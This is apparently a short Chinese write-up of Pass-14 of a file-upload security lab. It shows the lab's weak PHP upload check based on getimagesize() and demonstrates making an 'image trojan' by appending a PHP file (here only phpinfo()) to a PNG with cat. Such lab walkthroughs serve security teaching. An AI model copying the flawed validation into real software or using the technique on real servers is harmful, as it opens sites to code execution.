本文记录Pass-14
查看代码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
可以看到,只要getimagesize()函数认为文件是图片,就直接保存了,而getimagesize()是不检查图片内容的,这样就可以传图片马。
cmd.php
<?php phpinfo(); ?>
制作图片马
cat cmd.php >> a.png
上传成功。
执行结果和Pass-13一样。
Comments | NOTHING